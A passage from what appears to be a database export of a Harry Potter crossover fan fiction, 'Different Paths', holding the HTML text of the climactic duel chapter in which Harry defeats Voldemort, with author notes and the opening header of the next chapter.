Cleanser, and as a result you still have severe magical depletions in your power.&#8221;</p>\n\n<p>Draco said nothing.&nbsp; Voldemort continued: &#8220;So, if your powers have been depleted, that would mean that you knew from the start that you would be no match against me.&nbsp; Yet you still insisted on fighting me knowing you would be no match against me.&nbsp; And when I consider how much time you&#8217;re taking with each attack...&nbsp; Of course!&nbsp; <i>Magicus Ensis Inflammarae!</i>&#8221;</p>\n\n<p>Draco braced himself as Voldemort slashed at him with his fiery blade.&nbsp; &#8220;You pathetic fool!&nbsp; All you are doing is &#8216;buying time&#8217;!&#8221;&nbsp; Voldemort slashed at Draco again, severely burning him.</p>\n\n<p>&#8220;Buying time?&#8221; exclaimed Horace.&nbsp; &#8220;The pathos astounds me.&nbsp; I pity you Draco Malfoy.&nbsp; You really expect Potter to regain consciousness?&#8221;</p>\n\n<p>Voldemort laughed as Draco crouched down, Harry&#8217;s fallen form right behind him.&nbsp; &#8220;You&#8217;re a fool Draco Malfoy.&nbsp; Placing your hopes on one whom has already fallen.&nbsp; I can&#8217;t believe you were actually hoping to gain time necessary for Potter to wake up, failing to realize that he <i>isn&#8217;t</i> going to wake up!&#8221;</p>\n\n<p>&#8220;A fool am I?&#8221; said Draco.&nbsp; &#8220;Perhaps I am.&nbsp; But I am not a hopeless fool.&nbsp; For you see, Voldemort, no matter how much I think it through: no matter how many factors or options I consider, I simply cannot believe that Harry Potter is less powerful than you.&#8221;</p>\n\n<p>It was in that moment when the fates decided to intervene, as the random magic in the atmosphere vibrating began with power.&nbsp; Horace was about to retort when he did a double take when he realized that Harry Potter was standing up, behind Draco Malfoy.</p>\n\n<p>&#8220;What?&#8221; he exclaimed.&nbsp; However, Harry&#8217;s eyes were lifeless and his body wasn&#8217;t moving an inch as if he were petrified.&nbsp; Horace let out a breath of relief.&nbsp; &#8220;My Lord, there is nothing to worry about,&#8221; he said.&nbsp; &#8220;Potter simply stood up on reflex as he is still out cold.&nbsp; It is clear when you look into his eyes that he has already been defeated...&#8221;</p>\n\n<p>Horace quickly realized that he had spoken too soon for suddenly Harry&#8217;s eyes blazed a startling fiery green.&nbsp; No longer shielded by his glasses (as they had shattered when Harry went down with the Cruciatus Curse), those emerald blazes of fire glared at the Dark Lord with untamed fury as the magic of the atmosphere started to react.&nbsp; Horace gulped as Snape and Sirius also regained consciousness to witness the full fury of Harry Potter&#8217;s power.</p>\n\n<p>&#8220; If ever the Boy-who-lived falls, he shall rise again,&#8221; said Draco.</p>\n\n<p>Voldemort grinned.&nbsp; &#8220;So starts round two then.&#8221;</p>\n\n<p><b>To be continued...</b></p>\n\n<p><b>A/N</b> OK, everybody, chant with me: &#8220;Almost finished!&nbsp; Almost finished!&#8221;&nbsp; Cause its almost finished!&nbsp; The next two chapters are going to be rather long chapters cause they&#8217;re the last chapters of this story!&nbsp; WOOT!&nbsp; And after that is a decent sized epilogue.&nbsp; So bare with me and R/R!&nbsp; Next: the conclusion of Harry vs. Voldemort.</p> '),
	(33, 25, ' <p><b>Title:</b> Different Paths (25)<br>\n\n\n<b>Author name:</b>\n\n<a href="http://www.fictionalley.org/fictionalleypark/forums/member.php?action=getinfo&userid=1952">E. C. R. Potter</a><br>\n\n\n<b>Author email:</b>\n\n<a href="mailto:ecrpotter@hotmail.com">ecrpotter@hotmail.com</a><br>\n\n\n<b>Category:</b> Action/Adventure<br>\n\n\n<b>Sub Category:</b> Drama<br>\n\n\n<b>Keywords:</b> Harry Voldemort Different Paths H/H D/G<br>\n\n\n<b>Rating:</b> PG-13<br>\n\n\n<b>Spoilers:</b> SS/PS, CoS, PoA, GoF, FB, QTTA, Rurouni Kenshin: Kyoto story arc.<br>\n\n\n<b>Summary:</b> Pre-OotP.&nbsp; Tom Marvolo Riddle, Harry James Potter. Two wizards, with incredibly similar beginnings, who journeyed on different paths. Such different paths that inevitably, they could only lead to a collision course. And collide, they do.&nbsp; H/H and D/G.<br>\n\n\n<b>DISCLAIMER:</b> This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended. It is also based on a plot line based on a story owned by Nobuhiro Wazuki, Jump Comics Inc., Fuji Television, Studio Gallop, and other publishers. No money is being made and no copyright or trademark infringement is intended from them either.<br>\n\n\n<b>Author Notes: </b>Little by little, piece by piece, this fic edges toward its conclusion.&nbsp; Remember that at the end of this story, I plan on lining up the Harry Potter cast with the Rurouni Kenshin cast and list who exactly is who.&nbsp; So, as soon as you see that list, you will know that this fic is over.&nbsp; Of course, the tell tale <b>The End</b> at the end of the last chapter might also be a sign.</p>\n\n<p><b></b></p>\n\n<p><b>Chapter 25: Duel against the Dark Lord ~ Round 2</b></p>\n\n<p>Harry roared.&nbsp; Literally, if anybody had been listening from a distance, they could&#8217;ve very well have mistaken his deep roar as that of a lion.&nbsp; The sheer magic power surrounding his body blasted forth with astounding power.&nbsp; Despite the roof above their heads, the ceiling appeared to come alive with dark clouds of rumbling thunder and flashing lightning.</p>\n\n<p><i>&#8216;You know, you really had me worried there Harry.&nbsp; Thanks for showing us that you&#8217;re still alive,&#8217;</i> thought Sirius.&nbsp; He tried to move his right hand and grimaced at the pain.&nbsp; He glanced down at the bloody mass that was his hand and sighed.&nbsp; <i>&#8216;I&#8217;m completely useless now.&nbsp; And if I&#8217;m not mistaken, so are Snape and Draco Malfoy.&nbsp; It&#8217;s all up to you now Harry, you have our faith and hopes.&#8217;</i></p>\n\n<p>Finally, Harry produced his wand and yelled, &#8220;Come on!&nbsp; Lets finish this!&#8221;</p>\n\n<p>&#8220;Very well,&#8221; hissed Voldemort.&nbsp; He too took out his wand and pounced on Harry, much to the horror of Yasmin whom had been constantly glancing at her watch.</p>\n\n<p>&#8221;No!&#8221; she screamed.&nbsp; She turned to Horace and grabbed his shoulders.&nbsp; &#8220;You must stop this duel now!&nbsp; It cannot continue!&#8221;</p>\n\n<p>&#8220;What?&#8221; exclaimed a confused Horace.</p>\n\n<p>&#8220;Tom&#8217;s... Tom&#8217;s body... three years ago when Pettigrew revived his body... the spell wasn&#8217;t completed due to Pettigrew&#8217;s incompetence!&nbsp; Our Lord&#8217;s body is too unstable to contain his vast magical powers: if he exerts himself over fifteen minutes, his powers may become too vast for his body to stand, and nobody knows what might happen then!&#8221;</p>\n\n<p>&#8220;What?&#8221; exclaimed Horace.&nbsp; But as he started thinking, everything started to fall in place.&nbsp; Before Voldemort&#8217;s fall during his first encounter with Potter, Voldemort had set himself up as the sole master and lord of the Death Eaters and none contested his supremacy.&nbsp; After his return three years ago however, Voldemort had founded the Elite Ten from amongst his most powerful Death Eaters and let then do most of his dirty work while he governed the whole business.</p>\n\n<p><i>&#8216;Of course,&#8217;</i> thought Horace, <i>&#8216;that is why our lord founded the Elite Ten, to help him govern in his potentially weakened state while still showing his followers that he was the one in full control!&nbsp; If that is so, then there is only one thing I can do!&#8217;</i> &#8220;My Lord!&#8221;&nbsp; Horace pulled out his hidden wand, apparently ready to break the First Fundamental Rule and barge into the duel, much to the shock of Sirius, Snape, and Draco.&nbsp; Instead of breaking up the duel however, Horace threw his wand over the wall of the arena.</p>\n\n<p>&#8220;Horace?&#8221;</p>\n\n<p>&#8220;We must believe, Yasmin!&#8221; shouted Horace.&nbsp; &#8220;We must believe in our master, in Lord Voldemort.&nbsp; If even Potter is able to surpass his limit, why can&#8217;t our lord?&nbsp; This is the moment of glory!&nbsp; This is the moment of honor!&nbsp; And who are we to break this up.&nbsp; My faith is that Lord Voldemort will emerge victorious!&#8221;</p>\n\n<p>Amongst all this, the duel was continuing.&nbsp; Harry leveled a powerful curse at Voldemort but the Dark Lord simply managed to shrug it off.&nbsp; He reached forth and once again managed to grab Harry&#8217;s throat.&nbsp; <i>&#8216;Damn!&nbsp; Not again!&#8217;</i> thought Harry.</p>\n\n<p>&#8220;Fall by one trick, fall by the same one again,&#8221; gloated Voldemort, <i>&#8220;Crucio!&#8221;</i></p>\n\n<p><i>&#8216;Oh no, not this time!&#8217;</i> &#8220;Deflector Ward!&#8221;&nbsp; Just before the Cruciatus Curse hit him, Harry managed to reflect the curse with a well-timed deflector ward from a swing of his wand.&nbsp; A shocked Voldemort screamed in pain as the reflected Cruciatus Curse rippled through his body.</p>\n\n<p>&#8220;My Lord!&#8221; screamed Yasmin.</p>\n\n<p>Harry wasn&#8217;t about to miss this chance.&nbsp; Swinging forth his wand, he yelled, <i>&#8220;Stupefius Expelliarmus!&#8221;</i>&nbsp; The combination stunner-disarmer blasted Voldemort away, but it neither stunned him nor disarmed him.&nbsp; Undaunted, Harry next yelled <i>&#8220;Maximus Reducto!&#8221;</i> engulfing the Dark Lord in a large explosion.</p>\n\n<p>&#8220;Yes!&nbsp; He managed to get two spells in one go!&#8221; exclaimed Sirius.</p>\n\n<p>&#8220;Ha!&nbsp; He&#8217;s not done yet!&#8221; said Snape.</p>\n\n<p>&#8220;Potter wouldn&#8217;t let an opportunity like this pass with only two spells!&#8221; said Draco.</p>\n\n<p>Draco was correct.&nbsp; Harry yelled, <i>&#8220;Triad Maelstrom &#8211; Typhoon, Cyclone, Hurricane!&#8221;</i>&nbsp; Three powerful windstorms blasted forth successively, battering Voldemort&#8217;s body around.</p>\n\n<p>&#8220;5 hits in a row!&#8221; shouted Sirius.</p>\n\n<p>Voldemort was far from done however.&nbsp; <i>&#8220;Magicus Ensis Inflammarae!&#8221;</i>&nbsp; The Dark Lord&#8217;s flaming magical sword slashed right into Harry.</p>\n\n<p>&#8220;Yes!&nbsp; Direct hit!&#8221; exclaimed Yasmin.&nbsp; Harry might as well have not felt any pain however.&nbsp; Amongst the flames of Voldemort&#8217;s sword, blazing green eyes glared into blood red eyes.</p>\n\n<p><i>&#8220;Magicus Ensis!&#8221;</i>&nbsp; Two magical swords locked on each other in contact, golden sparks flying.</p>\n\n<p><i>&#8216;Incredible!&nbsp; Absolutely incredible!&#8217; </i>thought Horace.<i>&nbsp; &#8216;At first I often questioned my master&#8217;s obsession with Harry Potter.&nbsp; But now, I know for certain.&nbsp; This power, the sheer power Potter radiates.&nbsp; Why, for our Lord, defeating Harry Potter is indeed that absolute equivalent of conquering Britain.&nbsp; The fate of Britain is intertwined with the fate of Harry Potter!&#8217;</i></p>\n\n<p>&#8220;Such glory, such power,&#8221; said Voldemort.&nbsp; &#8220;I cannot believe I am admitting this Harry, but this has been an honor.&nbsp; This duel has been most fitting for the new start of a new phase in the Dark Ages.&#8221;</p>\n\n<p>&#8220;Sorry to disappoint you, but this duel signals the end of the Dark Ages!&#8221; shouted Harry.</p>\n\n<p>&#8220;The Dark Ages will not end, not so long as I am holding my 13 inch, yew, phoenix feather,&#8221; said Voldemort.</p>\n\n<p>&#8220;The Dark Ages will end.&nbsp; It was doomed to end ever since I took up my 11 inch, holly, phoenix feather,&#8221; said Harry.&nbsp; Summoning up a happy thought of Hermione, Harry yelled, <i>&#8220;Expecto Patronum!&#8221;</i>&nbsp; Voldemort&#8217;s dark powers were clearly on the same level as a dementor as the silver stag patronus blew the Dark Lord into the back wall, burying him underneath a pile of rubble from the demolished wall.</p>\n\n<p>Harry fell to his knees, panting in exhaustion.&nbsp; <i>&#8216;Dammit!&nbsp; I exerted myself too much!&#8217;</i> he thought.&nbsp; <i>&#8216;Please don&#8217;t stand up, please don&#8217;t stand up, please don&#8217;t stand up...&#8217;</i> Harry&#8217;s wishful thinking was in vain however, as Voldemort emerged from the rubble, looking unscathed for all practical purposes.&nbsp; <i>&#8216;Blast!&#8217;</i> thought Harry.</p>\n\n<p>&#8220;Dear God, he took six powerful spells continuously and he still just stands there as if nothing&#8217;s happened,&#8221; said Sirius.</p>\n\n<p>&#8220;Most Dark Wizard&#8217;s would&#8217;ve been finished off by the second spell,&#8221; said Draco.</p>\n\n<p>&#8220;Just goes to show that he is not just &#8216;most wizards&#8217;,&#8221; said Snape.</p>\n\n<p>Voldemort glared at Harry.&nbsp; &#8220;Play time is over!&#8221; he hissed.</p>\n\n<p>Horace looked toward Yasmin and she nodded in confirmation.&nbsp; <i>&#8216;He&#8217;s going to use Avada Kedavra,&#8217;</i> Horace thought.</p>\n\n<p>&#8220;Avada Kedavra,&#8221; said Snape.&nbsp; &#8220;Unstoppable, invincible, and completely unblockable by any other spell.&#8221;</p>\n\n<p>&#8220;With the sole exception of the Dark Magic Cleanser,&#8221; said Sirius.&nbsp; &#8220;And obviously, that will be what Harry will be using.&#8221;</p>\n\n<p>&#8220;But will he be able to use it properly?&#8221; asked Draco.&nbsp; &#8220;Potter&#8217;s been severely injured and he may lack the strength and stamina for a Stellar Patronus powerful enough to defeat Voldemort.&#8221;</p>\n\n<p>&#8220;None of us can worry about that now,&#8221; said Sirius.&nbsp; &#8220;It&#8217;s a do or die situation now, and Harry <i>has </i>to be able to cast a proper Stellar Patronus.&#8221;</p>\n\n<p>Wearily, Harry drew himself to his feet.&nbsp; His feet were wobbly, he was bleeding profusely, and in fact he probably looked more dead than alive.&nbsp; However, his eyes still burned with a blazing fire directed at Voldemort.&nbsp; &#8220;It ends now,&#8221; he whispered.&nbsp; Then, without waiting for Voldemort&#8217;s move, he started moving his wand in the formation of the constellation Leo.</p>\n\n<p>Voldemort recalled Seth&#8217;s words: <i>&#8220;It appeared to me that he steps his right foot during that wand movement and then further takes another step with his left foot while casting the spell.&nbsp; Since Mr. Potter is right handed, this opens a very slim margin where he is rather vulnerable.&#8221;</i>&nbsp; The Dark Lord stepped closer to Harry and readied his wand.</p>\n\n<p><i>&#8220;Astra Patronum Leo!&#8221;</i></p>\n\n<p><i>&#8216;Left foot!&#8217;</i> &#8220;Deflector Ward!&#8221;&nbsp; Voldemort threw forth his wand straight into the open part over Harry&#8217;s left foot.&nbsp; To the horror of Sirius, Snape, and Draco, Harry&#8217;s Stellar Patronus was deflected up toward the ceiling.</p>\n\n<p>&#8220;Yes!&nbsp; He&#8217;s done it!&#8221; exclaimed Yasmin.</p>\n\n<p>&#8220;My Lord!&nbsp; Victory is now yours!&#8221; shouted Horace.</p>\n\n<p>Voldemort was fully aware of that.&nbsp; <i>&#8220;AVADA KEDAVRA!&#8221;</i>&nbsp; Harry could do nothing as the green light of Voldemort&#8217;s killing curse flew straight at him.</p>\n\n<p>And it didn&#8217;t connect.&nbsp; Instead, the green light was sucked into what appeared to be a miniature blackhole that suddenly appeared in front of Harry.</p>\n\n<p><i>&#8216;What?&nbsp; A magical vortex?!&#8217;</i> thought Voldemort.&nbsp; <i>&#8216;I can&#8217;t believe this!&nbsp; By deflecting Potter&#8217;s Dark Magic Cleanser, it&#8217;s created a stream between my magical powers and Potter&#8217;s magical powers creating a magical vortex!&#8217;</i>&nbsp; Furthermore to Voldemort&#8217;s horror, he found that the vacuum of the vortex had completely immobilized him.</p>\n\n<p>&#8220;What?&nbsp; No My Lord!&#8221; shouted Horace as his and Yasmin&#8217;s previous euphoria of victory instantly changed to sickening dread.</p>\n\n<p>On the other side of the vortex, Harry had started speaking, &#8220;The Dark Magic Cleanser is a spell borne of pure good and the will to survive.&nbsp; It has never been beaten before and those whom are arrogant enough to believe they could beat it will find their powers sucked up in a vacuum, powerless to protect themselves from the full onslaught of the Dark Magic Cleanser.&nbsp; So it ends now!&nbsp; <i>Astra Patronum Leo!</i>&#8221;</p>\n\n<p>Yasmin screamed, but she and Horace could only watch as the golden lion of Harry&#8217;s Stellar Patronus blasted Voldemort&#8217;s limp body nearly 20 feet into the air.&nbsp; The Dark Lord&#8217;s form fell to the floor with a sickening crash.</p>\n\n<p>&#8220;No!&nbsp; No!&nbsp; No!&nbsp; NO!&nbsp; NO!&nbsp; NO!!!&#8221; screamed Yasmin, looking on the verge of tears.</p>\n\n<p>Horace paled.&nbsp; &#8220;No!&nbsp; It cannot be!&nbsp; It isn&#8217;t possible!&nbsp; Lord Voldemort cannot lose!&#8221; he yelled.</p>\n\n<p>&#8220;He did it!&#8221; exclaimed Sirius.&nbsp; &#8220;I can&#8217;t believe it, but he&#8217;s really done i...&#8221;</p>\n\n<p>It was then, to the complete shock of everyone present, Voldemort stood up.&nbsp; Slowly, groggily but he indeed stood up.&nbsp; <i>&#8216;Damn!&#8217; </i>thought Harry.</p>\n\n<p>&#8220;That guy took seven continuous spells, the last one being the Dark Magic Cleanser,&#8221; said Sirius.&nbsp; &#8220;Is he really immortal?&#8221;</p>\n\n<p>&#8220;Probably the closest to immortal that you&#8217;ll find in this world,&#8221; said Snape.</p>\n\n<p>&#8220;That last Stellar Patronus was even more powerful than the one I was hit with given that the Dark Lord was immobilized by that vortex,&#8221; said Draco.&nbsp; &#8220;I&#8217;m not sure if he&#8217;s actually immortal but he most certainly isn&#8217;t mortal.&#8221;</p>\n\n<p>Harry wearily readied himself for another round as the magical powers around Voldemort startled swirling around, building up in sheer volume.&nbsp; It looked like Voldemort was readying himself for one final spurt of power.</p>\n\n<p>However, the magic around Voldemort suddenly changed.&nbsp; It suddenly started vibrating very unstably.&nbsp; Voldemort even started screaming, as he seemed to be in pain.</p>\n\n<p>&#8220;What?&#8221; muttered Harry.</p>\n\n<p>&#8220;No!&#8221; screamed Yasmin.&nbsp; She suddenly dashed in front of Voldemort, shielding him from Harry.&nbsp; &#8220;No!&nbsp; You must stop this duel!&#8221;</p>\n\n<p>&#8220;Huh?&#8221; said Harry.</p>\n\n<p>&#8220;Wormtail&#8217;s spell!&nbsp; Wormtail&#8217;s spell that revived our Lord&#8217;s body!&nbsp; It was unstable!&nbsp; If he fights for over 15 minutes, his magiks destabalize!&nbsp; And it&#8217;s been nearly 30 minutes since the beginning of the duel!&#8221;</p>\n\n<p>This news came as a complete shock to Harry and for a moment, he was stunned.&nbsp; That moment nearly cost him his life.</p>\n\n<p>&#8220;Hesitating will be your fatal mistake.&nbsp; <i>Magicus Ensis!</i>&#8221;&nbsp; With a flash of light and blood, Voldemort stabbed Harry with his magical sword, right through Yasmin&#8217;s chest.</p>\n\n<p>&#8220;No!&#8221; yelled Sirius.&nbsp; He, Draco, and even Snape looked alarmed.&nbsp; Sirius would&#8217;ve have rushed over to Harry had not Harry managed glared at him once more, reminding him that the duel wasn&#8217;t yet over.</p>\n\n<p>Harry crumpled to the ground, clutching at the bleeding wound on his stomach.&nbsp; Luckily, he had caught on at the last minute what was happening and had managed to step back and avoid a fatal wound.&nbsp; Alas, the same could not be said of Yasmin who was now cradled in Voldemort&#8217;s arms, bleeding heavily from her chest.&nbsp; However, the tears in her eyes were those of joy, not of grief.</p>\n\n<p>&#8220;Thank... thank you... Tom... for such a long time... I have felt so useless... being able... to do nothing but... care for... your wounds.&nbsp; And now for the... first time I... was able to be of... use to you.&nbsp; Thank... you.&#8221; She closed her eyes and laid her head down.&nbsp; &#8220;Good bye Tom... Yasmin will... be waiting... in hell for you to join... me...&#8221; and with those words, Yasmin Correllan drew her last breath.</p>\n\n<p>Harry was now coughing up blood.&nbsp; &#8220;How... how could you,&#8221; he gasped.&nbsp; &#8220;She... she was the one who meant more to you than... anybody.&nbsp; And even you... couldn&#8217;t have just... thrown her life away like that!&#8221;</p>\n\n<p>&#8220;You really don&#8217;t understand anything don&#8217;t you?&#8221; hissed Voldemort, his voice completely devoid of amusement, his arms still cradling Yasmin&#8217;s body.&nbsp; &#8220;This woman understood me better than anybody, any person.&nbsp; She was the only one who knew me from the start and knew my every little detail.&nbsp; She means more to me than anybody and for her to give her life so that I can kill you is this most honorable form of death she could ever hope for.&#8221;</p>\n\n<p>&#8220;Indeed,&#8221; said Horace.&nbsp; &#8220;I have never seen Yasmin this happy.&nbsp; In the very end, she has found true happiness.&#8221;</p>\n\n<p>&#8220;YOU CALL THIS HAPPINESS?!!!&#8221; yelled Harry.&nbsp; He tried to rise to his feet but found that he was too weak to do so.</p>\n\n<p>&#8220;To each his own definition of happiness,&#8221; said Voldemort rising to his feet.&nbsp; &#8220;Now, I must make sure Yasmin didn&#8217;t give her life in vain.&nbsp; Goodbye, Harry Potter.&nbsp; <i>Avada Kedavra!</i>&#8221;</p>\n\n<p>&#8220;Harry!&#8221; yelled Sirius.</p>\n\n<p><i>&#8216;So it ends,&#8217;</i> thought Harry, as the green light of the killing curse closed in on him.&nbsp; <i>&#8216;It&#8217;s finally coming to an end.&nbsp; After all this time, I finally find the peace of death.&nbsp; Voldemort lives, but I&#8217;ve destroyed enough of his power that he won&#8217;t threaten anyone for a while.&nbsp; Eventually, someone else will rise to finish Voldemort off.&nbsp; Someone else will follow in my footsteps after my death... After my death...&#8217;</i></p>\n\n<p><i></i></p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p><i></i></p>\n\n<p><i>&#8220;And in my heart I know you will come back to me but I want to hear you say it.&nbsp; I want you to promise me that you will come back.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>Harry took Hermione&#8217;s hand.&nbsp; &#8220;I promise Hermione, that I will come back.&nbsp; Because I love you too, and no forces on this Earth will ever stop me from keeping a promise to you.&#8221;</i></p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p><i>&#8216;Hermione!&nbsp; NO!&#8217;</i>&nbsp; Suddenly, Harry&#8217;s eyes blazed with life once more, and with Herculean effort, he lifted himself back up to his feet.&nbsp; <i>&#8220;Expelliarmus!&#8221;</i> the simple disarmer fired from Harry&#8217;s wand, was enough to connect the brother wands of Harry and Voldemort&#8217;s into the golden threads of Prior Incantatem.</p>\n\n<p>&#8220;I cannot die!&nbsp; I <i>will</i> not die!&nbsp; I promised Hermione that I would come back to her!&nbsp; I promised that I would be with her!&nbsp; And there is no force on earth that can stop me from keeping a promise to Hermione Granger!&nbsp; Not even you Voldemort!!!&#8221;</p>\n\n<p>The golden threads of wands pushed at each other, in one final show of power.&nbsp; The magical power surrounding Voldemort was now so overwhelming that none save Dumbledore himself could approach the duelers, even if they wanted to.</p>\n\n<p><i>&#8216;This is it this is truly it!&#8217;</i> thought a delighted Horace.<i>&nbsp; &#8216;Lord Voldemort beyond his very limits!&nbsp; Lord Voldemort at his greatest hour!&nbsp; The most powerful wizard ever to walk the face of the planet!&nbsp; The one who will bring true hell to Earth!&nbsp; This is Lord Voldemort&#8217;s hour of triumph...&#8217;</i></p>\n\n<p>It was that moment when something truly unexpected happened: Voldemort&#8217;s body burst into flame!</p>\n\n<p>&#8220;Huh?&#8221; Harry wondered aloud.&nbsp; Horace was completely speechless, Sirius&#8217;s jaw had dropped, and Draco looked shocked.&nbsp; Only Snape seemed to understand what had happened.</p>\n\n<p>&#8220;Potter&#8217;s Dark Magic Cleanser had a delayed effect,&#8221; he said.&nbsp; &#8220;Due to Wormtail&#8217;s botch up when he recreated, the Dark Lord&#8217;s body, the Stellar Patronus couldn&#8217;t cleanse out the dark magic out properly at first.&nbsp; However, due to the overexertion of fighting over 15 minutes, Voldemort&#8217;s dark magiks have completely stabilized allowing them full access to Potter&#8217;s Stellar Patronus.&nbsp; Since so much of Voldemort&#8217;s life was intertwined by dark magic, the cleansing of them is fatal.&#8221;</p>\n\n<p>Voldemort seemed to realize that he was dying and his reaction was laughter.&nbsp; All throughout the chamber, the Dark Lord&#8217;s laughter rang out, echoing along the walls as his body continued to burn away.&nbsp; By the time the flames had completely consumed Voldemort and Yasmin&#8217;s bodies, Harry knew that the Dark Lord&#8217;s last laugh would be something that would haunt him for the rest of his life.</p>\n\n<p>Finally, there was nothing left of the once terrifying Lord Voldemort, and the fires died down.</p>\n\n<p>&#8220;No!&nbsp; No!&nbsp; It cannot be!&#8221; screamed Horace.&nbsp; &#8220;My Lord cannot be dead!&nbsp; It is not possible!&nbsp; Not plausible!&#8221;</p>\n\n<p>&#8220;Wake up and smell the roses,&#8221; snapped Snape.&nbsp; &#8220;The Dark Lord is dead.&nbsp; Potter is still alive.&nbsp; Potter has clearly won.&#8221;</p>\n\n<p>&#8220;No!&#8221; Horace ran out the arena screaming like a deranged lunatic.&nbsp; Harry wobbled over to the others and would&#8217;ve fallen over had not Sirius grabbed him.</p>\n\n<p>&#8220;Gotcha,&#8221; he said.&nbsp; &#8220;Well, it&#8217;s finally over.&#8221;</p>\n\n<p>&#8220;Yeah, its over,&#8221; whispered Harry before he lost consciousness.</p>\n\n<p>Sirius would&#8217;ve been more concerned about Harry had the entire arena not suddenly started shaking violently.&nbsp; &#8220;What the?&#8221;</p>\n\n<p>Draco instantly recognized what was going on.&nbsp; &#8220;Dear God, Horace activated the self destruct!&nbsp; This entire lair is going to blow!&#8221;</p>\n\n<p>&#8220;Well come on, let&#8217;s get out of here!&#8221; yelled Sirius.&nbsp; He carried Harry&#8217;s body as Draco tackled the doors of the arena.&nbsp; To their horror, they found that the door was shut tight; not even the Alohomora charm could open it.&nbsp; By now, the ceiling had started come loose and rocks were raining onto the arena.</p>\n\n<p>Sirius was outright panicked, &#8220;That&#8217;s it we&#8217;re done for...&#8221;</p>\n\n<p>&#8220;Oh get out of the way!&#8221; snapped Snape.&nbsp; He pulled out his black &#8220;Harpoon Potion&#8221; and used it to blast the doors open.&nbsp; Sirius and Draco lost no time carrying Harry out of the arena.</p>\n\n<p>&#8220;Snape?&#8221; Sirius turned around and noticed that Snape hadn&#8217;t followed them out of the arena.&nbsp; To his horror, he saw that the last burst of magical power had completely ruined Snape&#8217;s already wounded legs and he couldn&#8217;t get out of the collapsing arena.&nbsp; &#8220;Snape!&nbsp; No!&#8221;</p>\n\n<p>Snape smirked at Sirius as the debris started piling up around him.&nbsp; &#8220;Well, get out of here already!&#8221; he said.&nbsp; And with that, what was left of the arena fell down into the abyss, taking Severus Snape with it.</p>\n\n<p>&#8220;Dammit Snape!&#8221; yelled Sirius.&nbsp; &#8220;Don&#8217;t think you can just die like that!&nbsp; Don&#8217;t think you can just kick the bucket without settling whatever feud we still have between us!&nbsp; I&#8217;m not done with you yet Severus Snape!&#8221;</p>\n\n<p>&#8220;Come on, we have to get out of here,&#8221; said Draco.&nbsp; Using the map Snape had given him, Draco helped the still bitter Sirius carry Harry&#8217;s form out of the collapsing lair.</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>When Horace came to, he found to his shock that he was lying in a field of grass.&nbsp; &#8220;What?&nbsp; How?&#8221; he exclaimed as he sat up.</p>\n\n<p>&#8220;I see you&#8217;re awake,&#8221; said a familiar voice from his side.</p>\n\n<p>&#8220;Angelus?&#8221; Horace exclaimed.&nbsp; &#8220;You pulled me out of the lair?&nbsp; Why!&nbsp; You should&#8217;ve let me die with Yasmin and our Lord!&#8221;</p>\n\n<p>&#8220;So, Mr. Voldemort and Miss Yasmin have died?&#8221; said a melancholy voice from not too far away.&nbsp; Horace looked toward the voice and saw Seth Soran staring at the sky.</p>\n\n<p>&#8220;Fate has decided who will live and who will die,&#8221; said Angelus.&nbsp; &#8220;I for one will live.&nbsp; I have many sins to pay for and to pay for them, I must live.&#8221;</p>\n\n<p>&#8220;I too will live,&#8221; said Seth.&nbsp; &#8220;I have a lot of questions needed to be answered, and I need to figure out a philosophy to live by.&nbsp; Might take a lifetime but I&#8217;ll do it.&#8221;</p>\n\n<p>&#8220;Very well, I will also live,&#8221; said Horace.&nbsp; &#8220;But in my case, I will continue to live to show why the Dark Ages must continue!&nbsp; I will live to ensure that Lord Voldemort&#8217;s legacy is carried on!&#8221;</p>\n\n<p><b>To be continued...</b></p>\n\n<p><b>A/N</b> Finally, the final duel comes to a conclusion.&nbsp; Now, all I have left with this story is too tie up the lose ends.&nbsp; Next: it&#8217;s either the last chapter or the second to the last chapter, depends on how long it is.&nbsp; Whichever way, it&#8217;s just the aftermath and then the epilogue.</p> '),
	(33, 26, ' <p><b>Title:</b> Different Paths (26)<br>\n\n\n<b>Author name:</b>\n\n<a href="http://www.fictionalley.org/fictionalleypark/forums/member.php?action=getinfo&userid=1952">E. C. R. Potter</a><br>\n\n\n<b>Author email:</b>\n\n<a href="mailto:ecrpotter@hotmail.com">ecrpotter@hotmail.com</a><br>\n\n\n<b>Category:</b> Action/Adventure<br>\n\n\n<b>Sub Category:</b> Drama<br>\n\n\n<b>Keywords:</b> Harry Voldemort Different Paths H/H D/G<br>\n\n\n<b>Rating:</b> PG-13<br>\n\n\n<b>Spoilers:</b> SS/PS, CoS, PoA, GoF, FB, QTTA, Rurouni Kenshin: Kyoto story arc.<br>\n\n\n<b>Summary:</b> Pre-OotP.&nbsp; Tom Marvolo Riddle, Harry James Potter. Two wizards, with incredibly similar beginnings, who journeyed on different paths. Such different paths that inevitably, they could only lead to a collision course. And collide, they do.&nbsp; H/H and D/G.<br>\n\n\n<b>DISCLAIMER:</b> This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended. It is also based on a plot line based on a story owned by Nobuhiro Wazuki, Jump Comics Inc., Fuji Television, Studio Gallop, and other publishers. No money is being made and no copyright or trademark infringement is intended from them either.<br>\n\n\n<b>Author Notes:</b> Everybody, join me in the chanting: &#8220;One more to go!&nbsp; One more to go!&nbsp; One more to go!&#8221;&nbsp; And then, I remind myself that I still have to write the epilogue.&nbsp; Yeesh.&nbsp; Ah, change the chant: &#8220;Almost finished!&nbsp; Almost finished!&nbsp; Almost 